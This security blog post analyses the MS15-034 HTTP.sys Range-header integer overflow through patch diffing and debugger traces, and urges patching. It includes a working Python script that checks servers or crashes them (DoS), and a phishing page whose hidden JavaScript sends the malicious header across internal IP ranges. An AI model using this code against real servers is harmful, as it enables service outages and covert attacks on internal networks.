Introduction
By now you’ve undoubtedly heard about MS15-034. The following is a collection of my cursory research and thoughts on this vulnerability.
In addition, here is a small list of related resources, some of which I also reference in the sections that follow:
- Microsoft Security Bulletin MS15-034 (Microsoft)
- The Delicate Art of Remote Checks – A Glance Into MS15-034 (Beyond Trust)
- MS15-034: HTTP.sys (IIS) DoS And Possible Remote Code Execution. PATCH NOW (ISC)
- Critical Microsoft IIS vulnerability Leads to RCE (MS15-034) (Sucuri)
- MS15-034 Detection: Some Observations (Didier Stevens)
- Integer Overflow (Wikipedia)
- Microsoft Window – HTTP.sys PoC (MS15-034) (Exploit-DB)
- MS Windows (HTTP.sys) HTTP Request Parsing DoS (MS15-034) (Exploit-DB)
UPDATE (4/20/2015): I was able to consistently achieve information disclosure via some additional testing with submitting multiple range values (see added section “Information Disclosure”). I’ve also added some additional information on another updated HTTP.sys function. (Updated content is annotated accordingly)
A brief overview of the vulnerability
According to the published Microsoft Security Bulletin, MS15-034 is a remote code execution vulnerability caused by HTTP.sys improperly parsing specially crafted HTTP requests. Specifically this exploit can be triggered using the Range header of an HTTP request, causing an Integer overflow. While the bulletin indicates Remote Code Execution is possible (and as such rates this vulnerability as Critical), so far I have only been able to generate a Denial of Service condition and have not yet seen any RCE code in the wild (though I’m sure someone is working hard at it). Before I get into the details of the vulnerability, let’s take a quick look at HTTP.sys and its purpose.
What is HTTP.sys?
HTTP.sys (aka the HTTP Protocol Stack) is a Windows kernel-mode device driver which, as stated in Microsoft’s Introduction to IIS Architectures, “listens for HTTP requests from the network, passes the requests onto IIS for processing, and then returns processed responses to client browsers”. It is responsible for providing Kernel-mode caching, Kernel-mode request queuing, and request pre-processing and security filtering.
Kernel-mode caching which improves performance by serving all cached content requests directly from kernel-mode, appears to be the culprit in this vulnerability. Although Microsoft does cite disabling IIS Kernel caching as a possible workaround, it may cause too much performance degradation on production web servers to be very practical.
While it’s clear that MS web servers running modern IIS versions are the primary affected group, keep in mind the the HTTP Protocol Stack implemented by Http.sys is used by more than just IIS so other applications may be affected as well.
What is the Range Header?
I mentioned earlier that this vulnerability can be triggered via the Range header. The Range header is used in an HTTP request to return a portion (or range of bytes) of a given resource. Take for example, the following requests that illustrate how to obtain a portion of Google’s humans.txt file using the Range header.
The RFC does not require clients or servers to honor/support Range headers, though most do. It also allows for various formats of byte range specifications including a single range or set of ranges such as:
- bytes=0-499,
- bytes=500-999,
- bytes=-500,
- bytes=9500-,
- bytes=0-0,-1,
- bytes=500-600,601-999
I mention this because as Didier Stevens pointed out in his post, if you’re building IDS/IPS rulesets for detection/prevention of this exploit you need to take into account the various allowable methods of formatting this header.
A Deeper Dive
When I was researching this vulnerability, the first resource I came across was this nice write-up from the team at BeyondTrust. I encourage you to read it, but I’ll also replicate some of their findings here.
They start by analyzing this vulnerability in much the same way that I (and probably many others) did … by diffing the old and new HTTP.sys files. Here’s a shot of mine:
This is a view of the UlpParseRange function (unpatched HTTP.sys shown on the left, patched shown on the right), which after the update, has one key difference…an additional call to RtlULongLongAdd(). Although this is a slightly modified, 5 parameter version (vs. the 3 parameter version specified on MSDN), the intent of the added function is the same…to provide a validity check to prevent against Integer overflow conditions. The absence of this check in the unpatched version of HTTP.sys is what allows for the overflow condition at the heart of MS15-034.
So you can get a little better idea how this comes into play, take a look at the following:
You can see UlpParseRange is called by HlContentRangeHeaderHandler, when it needs to process the values passed via the Range header.
Now, taking a look at the UlpParseRange, you can see the location where the missing Integer Overflow condition check should be in the vulnerable version of HTTP.sys (top) and how it was addressed in the updated version via the addition of RtlULongLongAdd:
Unpatched HTTP.sys
Patched HTTP.sys w/ RtlULongLongAdd
If we step back even further, before getting to this point, UlpParseRange makes a call to UlpParseRangeNumber, which as its name implies, parses the numbers passed via the Range Header. This latter function actually makes its own calls to RtlULongLongAdd, though they don’t serve to provide any protection against the core Integer Overflow problem.
To give you an idea of what this looks like, I set breakpoints on each of the three functions and passed a Range header value of bytes=14-156. What will happen is the breakpoint for UlpParseRange will hit once (for the single range passed via the header). Following that breakpoint, UlpParseRangeNumber will hit twice (once for each number in the range — 14 and 156). After each UlpParseRangeNumber breakpoint, RtlULongLongAdd will trigger for each digit in the respective range number. That means it will hit twice for the number 14 and three times for the number 156.
Here is what that would look like:
0: kd> g
Breakpoint 0 hit
HTTP!UlpParseRange:
0: kd> g
Breakpoint 1 hit
HTTP!UlpParseRangeNumber:
0: kd> g
Breakpoint 2 hit
HTTP!RtlULongLongAdd:
0: kd> r
eax=00000001 ebx=8e2b0b08 ecx=0000000a edx=00000000 esi=00000031 edi=00000017
eip=8b176ebf esp=8e2b0aa8 ebp=8e2b0ad8 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
0: kd> g
Breakpoint 2 hit
HTTP!RtlULongLongAdd:
0: kd> r
eax=00000004 ebx=8e2b0b08 ecx=0000000a edx=00000000 esi=00000038 edi=00000016
eip=8b176ebf esp=8e2b0aa8 ebp=8e2b0ad8 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
0: kd> g
Breakpoint 1 hit
HTTP!UlpParseRangeNumber:
0: kd> g
Breakpoint 2 hit
HTTP!RtlULongLongAdd:
0: kd> r
eax=00000001 ebx=8e2b0b08 ecx=0000000a edx=00000000 esi=00000031 edi=00000014
eip=8b176ebf esp=8e2b0aa8 ebp=8e2b0ad8 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
0: kd> g
Breakpoint 2 hit
HTTP!RtlULongLongAdd:
0: kd> r
eax=00000005 ebx=8e2b0b08 ecx=0000000a edx=00000000 esi=00000038 edi=00000013
eip=8b176ebf esp=8e2b0aa8 ebp=8e2b0ad8 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
0: kd> g
Breakpoint 2 hit
HTTP!RtlULongLongAdd:
0: kd> r
eax=00000006 ebx=8e2b0b08 ecx=0000000a edx=00000000 esi=00000034 edi=00000012
eip=8b176ebf esp=8e2b0aa8 ebp=8e2b0ad8 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
Once the numbers passed via the Range header are parsed by UlpParseRangeNumber, it returns to UlpParseRange, and the vulnerable portion of the function follows.
Let’s take a closer look at the above location 6EEF9 (highlighted) by passing a crafted Range header value. To demonstrate the simple mechanics of the vulnerable code, I’ll use an example range of 21845 – 18446744073709551615. The latter number is the largest possible value of a 64-bit unsigned Integer.
I chose the former simply for ease of demonstration as it equates to 5555h.
After parsing the provided Range header value, the code at loc_6EEF9 subtracts the lower range value (stored in EDI) from the upper range value (stored in EAX) and then adds 1.
By not properly checking the bounds of these values following the addition/subtraction, the codes leaves an opportunity for an overflow condition (if you’re unfamiliar with the concept of Integer Overflows you might refer to the following Wikipedia article: http://en.wikipedia.org/wiki/Integer_overflow).
UPDATE (4/20/2015)
When I posted this yesterday I neglected to mention some of the other changes made to HTTP.sys via the Microsoft update, namely UlAdjustRangesToContentSize, which as you can see below also has an additional RtlULongLongAdd validity check (right).
I noticed this come into play when I was testing the various methods of submitting the Range header (see the previous section “What is the Range Header”) and crashed the server with an input as follows:
Note the multiple byte range values passed, the first starting with 0, the second with 1, the third with 2, the fourth with 3, the fifth with 4 and the remaining all starting with 5.
Now take a look at the crash which occurs during a call to memcpy from AdjustRangesToContentSize:
Note the values pointed to by esi and edi are the lower and upper ranges provided in each of our header byte range values. This function might be a bit more interesting to explore than UlpParseRange for the purposes of exploiting information disclosure via arbitrary memory reads (see added section “Information Disclosure”)
So What?
Why is this bad? Well, according to Microsoft, this particular vulnerability can lead to remote code execution though Integer Overflows can be difficult to translate to robust/reliable RCE, I have certainly not yet been able to do so in my test environment, nor have I seen any such exploits circulating in the wild (yet). Even so, I (like many others) have been able to easily and reliably generate a denial of service condition by exploiting this vulnerability. The fact that it’s so easy to cause a DoS means you should remediate it as soon as possible.
UPDATE (4/20/2015)
With additional testing I believe I’ve achieved fairly reliable Information Disclosure, at least via a default IIS installation on a Windows 7 SP 1 machine (see below).
Identifying Vulnerable Assets
You can perform a basic check on your server(s) to determine their vulnerability to this exploit. Simply make a request for a static resource (such as an image) and pass a range header with the values bytes=0-18446744073709551615. An unpatched, vulnerable server should respond with “Requested Range Not Satisfiable”
You can use an intercepting proxy (such as Burp), curl, or a custom script to generate such a request (I’ve provided one below). Note: modifying the lower number of the range to anything other than 0 risks causing a DoS condition on the target so use with caution! Which brings me to my next topic…
Causing a DoS
You can cause a Denial of Service condition by changing the lower value of the range. For example, the common example I’ve seen floating around the interwebs is Range: bytes=18-18446744073709551615. The number 18 is somewhat arbitrary and many other values will work, though it will also depend on the size of the resource your requesting.
I wrote a simple python script to both check for the presence of the vulnerability as well as exploit the DoS condition. For demonstration purposes it simply requests the /welcome.png file common to the Standard IIS installation on Windows 7 SP 1 (though this configurable).
#!/usr/bin/python import urllib2 import sys import argparse import socket ''' get cl args ''' def getArgs(): parser = argparse.ArgumentParser( prog="ms15_034.py", formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), epilog= "This script will either test for the presence of or exploit a DOS condition for MS15_034") parser.add_argument("target", help="Target Host in the form of http://[host]:[port] -- specify port only if not 80" ) parser.add_argument("-p", "--path", default="/welcome.png", help="Path to resource to request on target server [default = /welcome.png]") parser.add_argument("-e", "--exploit", action="store_true", default=False, help="Exploit with DoS condition [default = False]") parser.add_argument("-r", "--range", default="0-18446744073709551615", help="Value for range header [default=0-18446744073709551615]; changing could cause DoS!!!") args = parser.parse_args() return args ''' make the evil request and examine response to determine vulnerability ''' def evilRequest(req, exploit): res = "" if exploit: print "[*] Attempting exploit..." try: res = urllib2.urlopen(req).read() # make request if exploit: print "[*] Could not parse response, check target to see if DoS was successful" else: print "[*] Request successful, likely not vulnerable" # if no error is returned, the target is probably not vulnerable except: if "Requested Range Not Satisfiable" in str(sys.exc_info()[1]): # response if target is unpatched print "[*] Target appears vulnerable!!!" elif "The Request has an invalid header name" in str(sys.exc_info()[1]): # typical response if target is patched print "[*] Target appears patched" elif (("Connection reset by peer" in str(sys.exc_info()[1])) or ("forcibly closed" in str(sys.exc_info()[1]))) and (exploit): # often DoS exploit not successful on first attempt print "[*] Connection Reset, re-attempting exploit..." res = evilRequest(req, exploit) elif ("timed out" in str(sys.exc_info()[1])) and (exploit): # prevent loop after DoS function (used w/ socket timeout variable in main) print "[*] Request timed out, DoS likely successful" elif ("timed out" in str(sys.exc_info()[1])) and (not exploit): # prevent loop after DoS function (used w/ socket timeout variable in main) print "[*] Request timed out, but exploit switch not used. Did you crash the target with a modified range header?" else: print "[*] Cannot determine if target is vulnerable" # any other response means vuln unknown print "\t[+] Response: %s" % str(sys.exc_info()[1]) # print server response return res ''' main ''' def main(): print print '=============================================================================' print '| ms15_034.py - Test and DoS exploit |' print '| Author: Mike Czumak (T_v3rn1x) - @SecuritySift |' print '=============================================================================\n' args = getArgs() target = args.target # target server path = args.path # path to resource to retrieve on target server range = args.range # value of Range header exploit = args.exploit # boolean (exploit DoS or not) if exploit: range = "18-18446744073709551615" # evil range if requesting welcome.png # may need to change if requesting different resource (use range arg instead) print "[*] Making request to " + target print "\t[+] Target path: " + path print "\t[+] Range Header: " + range print "\t[+] Exploit (DoS)?: " + str(exploit) print socket.setdefaulttimeout(10) # timeout the connection in event of DoS/reboot req = urllib2.Request( "%s%s"%(target,path), headers={ "Range" : "bytes=%s" % range }) # format request res = evilRequest(req, exploit) # make request print if __name__ == '__main__': main()
I wrote this days ago to test/demo the exploit so it’s completely function over form. To use it in order to check if an asset is vulnerable simply specify the target url as follows:
I’ve also included a simple flag (-e) to automatically trigger the DoS condition — using a default range of 18-18446744073709551615 and assuming the presence of /welcome.png (both of which are configurable via CL options).
As stated earlier, modifying the range header by itself can trigger a DoS so use with caution!!!
Information Disclosure
UPDATE (4/20/2015)
With additional testing I was able to consistently replicate Information Disclosure without DoS’ing the target machine (nearly all of the time) by submitting multiple byte range values and adjusting them slightly. Recall earlier that I stated the RFC allowed for multiple formats of byte ranges to be submitted. As I was testing these various formats, I noticed that by submitting multiple byte ranges I was able force the target system to consistently return its memory contents. Let me give some examples.
First, the most consistently successful method was requesting the default welcome.png file (note the submitted byte ranges):
In all cases, the requested image file is returned, but it is appended with additional data in memory. I was able to repeatedly make changes to the byte range values and resubmit without causing any service crash or disruption except for a few instances in which the server stopped responding to remote requests but remained up (I couldn’t pinpoint a cause and there were only about 3 occurrences among hundreds of requests).
I was also able to obtain similar results (though less often) by requesting html content:
In the above case, the content index.htm file was returned (“This is a test”) along with the content of other resources still loaded in memory that were accessed by different test machines to simulate multi-user traffic. One more example is below:
Again, there was much more content returned than the request resource (the root index) including a PHP page accessed by a different user and an image file loaded into memory. Requesting non-image files was hit-or-miss with the server often responding with a connection reset (this also happened from time to time with image files, though a re-request would always do the trick).
What About Internal Servers?
Whenever there’s a web-based vulnerability, the first thing that most people think to patch are their public-facing/DMZ systems…and rightly so. Naturally, it’s recommended to patch all servers but priority absolutely lies with those that are public facing. They are going to have the most exposure and therefore the greatest risk for targeting. But what about your internal servers?
You may recall a post I did in October of last year called “Phishing for Shellshock” in which I demonstrated that it was trivial to target an organization’s internal servers using a phishing attack to exploit what many were considering an “external” vulnerability. While it’s technically possible to exploit MS15-034 in a similar manner, there are some key differences that made Shellshock more susceptible.
First, several of the header(s) available for use to exploit Shellshock (Accept, Accept-Language, etc) were not protected by CORS, meaning they could be used in a CSRF-style phishing attack in which a targeted user unknowingly executes malicious JavaScript in their browser that then delivers the exploit to the servers on their internal network. In the case of MS15-034, the Range header is in fact protected by CORS so the likelihood of a successful exploit is lower.
Second, Shellshock was a bit more attractive to exploit in that manner because it resulted in remote code execution.The beauty of the Shellshock phishing exploit was the targeted user didn’t need to do any parsing of the response from the exploited server since it would call directly back out to the attacker. So far, MS15-034, only results in DoS and apparently some limited and inconsistent Information Disclosure (though I have not been able to replicate).
So does that mean internal systems are completely safe from a phishing attack? Not necessarily. It’s not uncommon to see some relaxed CORS rules on the internal network (for both clients and servers) so keep that in mind when considering your own environment. Also, although there is no published RCE yet, it doesn’t mean one doesn’t exist (though it’s not necessarily easy given this is an integer overflow).
To demonstrate how this could work, I configured a test IIS server with some insecure, unrestricted response headers:
I then created this simple web page (a modified version of my Shellshock exploit):
<html> <head> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script> <script> function getParams(param_in) { var suburl = window.location.search.substring(1); var params = suburl.split('&'); for (var i = 0; i < params.length; i++) { var param_val = params[i].split('='); if (decodeURIComponent(param_val[0]) == param_in) { return decodeURIComponent(param_val[1]); } } } $(document).ready(function() { var start = getParams('s'); // starting ip address to target var end3 = getParams('e3'); // end of target ip address range octet 3 var end4 = getParams('e4'); // end of target ip address range octet 4 var dot = '.'; var socts = start.split(dot); // get starting ip address octets var octs1_2 = socts[0]+dot+socts[1]; var urlArray = ["/welcome.png"]; // the resource(s) to request on target var myHeader = 'bytes=100-18446744073709551615' // malicious header var urlArrayLen = urlArray.length; // loop through target ip range and request each resource from urlArray for ( var oct3 = socts[2]; oct3 <= end3; oct3++ ) { for (var oct4 = socts[3]; oct4 <= end4; oct4++) { for (var i = 0; i < urlArrayLen; i++) { var ipaddress = octs1_2+dot+oct3+dot+oct4+urlArray[i]; console.log("Scanning: " + ipaddress); $.ajax({ url: "http://"+ipaddress, headers: {"Range": myHeader}, type: "GET" }); } } } }); </script> </head> <body><div style="text-align:center"><iframe width="1000" height="815" src="https://www.youtube.com/embed/ngElkyQ6Rhs?autoplay=1" frameborder="0" allowfullscreen></iframe></div> </body> </html>
Should the victim visit this page (via a phishing email perhaps), they will be treated to a trailer of the new Star Wars movie. At the same time, the embedded JavaScript will kick off a series of requests to their internal network (as dictated by the provided GET parameters) attempting to exploit this Range header vulnerability.
The corresponding phishing link would be formatted as follows: http://attackersite.com?s=192.168.0.0.&e3=255&e4=255
In this case, s is IP address at which to start exploiting and e3 and e4 are the values at which to stop exploiting for the third and fourth octet respectively. In the case of the above URL, the phishing target will attempt to exploit every asset from 192.168.0.0 to 192.168.255.255.
So how likely is this to actually be exploited on internal servers? Probably not very likely, especially if you’ve restricted CORS internally and have a trained user population that isn’t very susceptible to phishing. Either way, I think it’s important to always think of how exploits such as these could find their way into the internal network and ensure you’ve got a plan to patch all of your assets.
Conclusion
I hope this post provided some useful details and ideas regarding the MS15-034 vulnerability. As with any Critical, remotely executable vulnerability, I recommend you patch/mitigate as soon as possible.
Until next time,
Mike